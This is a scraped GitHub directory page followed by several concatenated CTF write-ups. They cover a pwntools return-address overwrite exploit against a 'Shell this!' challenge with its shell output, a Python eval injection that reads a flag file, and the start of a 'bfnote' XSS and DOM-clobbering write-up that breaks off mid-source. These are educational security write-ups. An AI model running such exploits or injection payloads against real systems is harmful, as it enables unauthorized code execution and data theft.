<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/BigB00st/ctf-solutions/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights
</details-menu></div></details></div></nav> </div>
<div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " >
<div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/BigB00st/ctf-solutions/refs" cache-key="v0:1585845383.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QmlnQjAwc3QvY3RmLXNvbHV0aW9ucw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/BigB00st/ctf-solutions/refs" cache-key="v0:1585845383.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QmlnQjAwc3QvY3RmLXNvbHV0aW9ucw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-solutions</span></span></span><span>/</span><span><span>RomHack</span></span><span>/</span><span><span>forensics</span></span><span>/</span>Phish<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-solutions</span></span></span><span>/</span><span><span>RomHack</span></span><span>/</span><span><span>forensics</span></span><span>/</span>Phish<span>/</span></div>
<div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/BigB00st/ctf-solutions/tree-commit/7c1b43f086e22c70e3f52420504fe4307b842f5c/RomHack/forensics/Phish" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/BigB00st/ctf-solutions/file-list/master/RomHack/forensics/Phish"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>deobfuscated.ps1</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div></div>
</main> </div>
</div>
<div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs
<svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template>
</body></html>
|
# Shell this!
Author: [roerohan](https://github.com/roerohan)
## Source
```Author: Faith
Somebody told me that this program is vulnerable to something called remote code execution?
I'm not entirely sure what that is, but could you please figure it out for me?
nc chal.duc.tf 30002```
## Exploit
```pyfrom pwn import *
elf = ELF('./shellthis')
host = 'chal.duc.tf'port = 30002
local = False
if local: p = elf.process()else: p = remote(host, port)
print(p.recvuntil('name: '))p.clean()
target = p64(0x4006ca)
offset = b'a' * (0x30 + 0x8)
payload = offset + targetp.sendline(payload)
print(payload)
p.interactive()```
```bash[*] Switching to interactive mode$ lsflag.txtshellthis$ cat flag.txtDUCTF{h0w_d1d_you_c4LL_That_funCT10n?!?!?}```
The flag is:
```DUCTF{h0w_d1d_you_c4LL_That_funCT10n?!?!?}``` |
Original Writeup: [https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/bsidesbos_2020/Warmups/Y2K](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/bsidesbos_2020/Warmups/Y2K)# Y2KThey told us the world was going to end in the year 2000! But it didn't... when will the world end?
Open the Deployment tab to start this challenge.
# Flag```shellflag{we_are_saved_from_py2_k}```
# Solution
Deployment tab gives up the connection:
nc challenge.ctf.games 31656
Connecting to the server allows input from user. But what kind of input? Tried number strings, really long number strings. Server just echos input back with some flavor text. Not a buffer overflow. What about a sandbox?
Start with something simple:```pythoneval(compile('print "hello"', '<string>', 'exec'))```
sending:```shellkali@kali:~$ nc challenge.ctf.games 31656What year do YOU think the world will end?eval(compile('print "hello"', '<string>', 'exec'))helloYeah! I agree with you! I also think the world will end in the year None```
Sweet. Let try some low hanging fruit:```pythoneval(compile('print open("./flag.txt", "r").readlines()', '<string>', 'exec'))```Success:```shell
kali@kali:~$ nc challenge.ctf.games 31656What year do YOU think the world will end?eval(compile('print open("/home/challenge/flag.txt", "r").readlines()', '<string>', 'exec'))['flag{we_are_saved_from_py2_k}']Yeah! I agree with you! I also think the world will end in the year None``` |
TokyoWesterns 2020 is over and was awesome.Many amazing challenges of all kind, in this write up I will explain how we (Magnum) solved "bfnote", a well-written web challenge.Spoiler - it was not the intended solution ;)
# BFNOTE
### Problem
Share your best Brainf*ck code at [bfnote](https://bfnote.chal.ctf.westerns.tokyo/)
Browsing the page presents us with a nice <textarea> and a submit button.After posting a note we are being redirected to the page that presentes the note itself with a nice "report" button.An XSS challenge with a Brainf*ck twist, that should be fun . . .
We quickly check the sources of these pages, giving us a little more information about what's going on...
1. /js/bf.js2. /index.php?source
---
### /js/bf.js
---
A neat Javascript that is responsible of decoding and interpreting the Brainf*ck note.
```javascriptlet program, pc, buf, p;let statusCode = 0; // 0: not running, 1: running, 2: exit successfully, 3: exit with an errorlet output = '';let steps = 0;const maxSteps = 1000000;
function checkStep() { steps++; if (steps > maxSteps) { throw new Error('maximum steps exceeded') }}
function pinc() { p++;}
function pdec() { p--;}
function inc() { buf[p]++;}
function dec() { buf[p]--;}
function putc() { output += String.fromCharCode(buf[p]);}
function getc() { console.err('not implemented');}
function lbegin() { if (buf[p] === 0) { let i = pc+1; let depth = 1; while (i < program.length) { if (program[i] === '[') { depth++; } if (program[i] === ']') { depth--; if (depth === 0) { break; } }
i++; checkStep(); }
if (depth === 0) { pc = i; } else { throw new Error('parenthesis mismatch') } }}
function lend() { if (buf[p] !== 0) { let i = pc-1; let depth = 1; while (0 <= i) { if (program[i] === ']') { depth++; } if (program[i] === '[') { depth--; if (depth === 0) { break; } }
i--; checkStep(); }
if (depth === 0) { pc = i; } else { throw new Error('parenthesis mismatch') } }}
function writeOutput() { if (statusCode !== 3) { if (CONFIG.unsafeRender) { document.getElementById('output').innerHTML = output; } else { document.getElementById('output').innerText = output; } }}
function initProgram() { // load program program = document.getElementById('program').innerText; document.getElementById('program').innerHTML = DOMPurify.sanitize(program).toString();
// initialize pc = 0; buf = new Uint8Array(30000); p = 0;
statusCode = 0;}
function runProgram() { statusCode = 1; try { while (pc < program.length) { switch (program[pc]) { case '>': pinc(); break; case '<': pdec(); break; case '+': inc(); break; case '-': dec(); break; case '.': putc(); break; case ',': getc(); // not implemented break; case '[': lbegin(); break; case ']': lend(); break; case '=': console.log('=)'); break; case '/': console.log(':/'); break; case ' ': break; default: throw new Error(`invalid op: ${program[pc]}`) } pc++; checkStep(); }
CONFIG = window.CONFIG || { unsafeRender: false };
statusCode = 2; } catch { statusCode = 3; return; } // no xss please output = output.replaceAll('<', '<').replaceAll('>', '>') writeOutput();}
window.addEventListener('DOMContentLoaded', function() { initProgram(); runProgram();});```
A few things we thought are worth mentioning:
- initProgram takes our (escaped) note (using `innerText` thus making it unescaped) and passes it through `DOMPrufiy.sanitize`, which **should** make it impossible to inject any malicious tag that results in javascript execution.- If runProgram catches an exception while parsing the note - it **will not** write the output to the page.- Before calling `writeOutput()`, every `<, >` will be escaped.- if window.CONFIG is present, and it's unsafeRender member **evaluates to true** - the output will be appended to the page using `innerHTML` instead of `innerText`. First thing that comes to mind is obviously - **`Dom Clobbering Attack`**.
I will not go over the rules of Brainf\*ck, but I will note that this javascript interpreter will throw an exception if an illegel Brainf\*ck character is in the note, **unless** it is inside a Brainf\*ck loop (surrounded by `[]`).
To make things easier, we wrote a little Python script that encodes a given string as a Brainf\*ck script:
```pythondef encode(string): p = 0 output = '' for i in string: output += p * "-" output += ord(i) * "+" + "." p = ord(i) return output```
That was the easiest way doing it, but hardly the most efficient way ;)
---
### /index.php
---
```phpexec('create table if not exists notes (id text, content text)');
if ($action === 'POST') { $content = $_POST['content']; $id = bin2hex(random_bytes(8));
$content = preg_replace('/[^a-zA-Z0-9<>\[\]+-.,=\/\n\ ]/', '', $content); $content = str_replace('<', '<', $content); $content = str_replace('>', '>', $content);
$stmt = $db->prepare('insert into notes values (:id, :content)'); $stmt->bindValue(':id', $id, SQLITE3_TEXT); $stmt->bindValue(':content', $content, SQLITE3_TEXT); $stmt->execute();
header("Location: /?id=${id}");} else if ($action === 'GET') { if (isset($_GET['source'])) { highlight_file(__FILE__); exit(); }
if (!empty($_GET['id'])) { $id = $_GET['id']; $stmt = $db->prepare('select content from notes where id=:id'); $stmt->bindValue(':id', $id, SQLITE3_TEXT); $res = $stmt->execute()->fetchArray(SQLITE3_ASSOC);
if (empty($res)) { header('Location: /'); } $content = $res['content']; }}?>
<html> <head> <title>bfnote</title>
<script src="/js/bf.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.0.16/purify.min.js"></script> <script src="https://www.google.com/recaptcha/api.js"></script>
</head> <body>
<form action="." method="post"> <textarea name="content"></textarea> <input type="submit" value="share!"></input> </form>
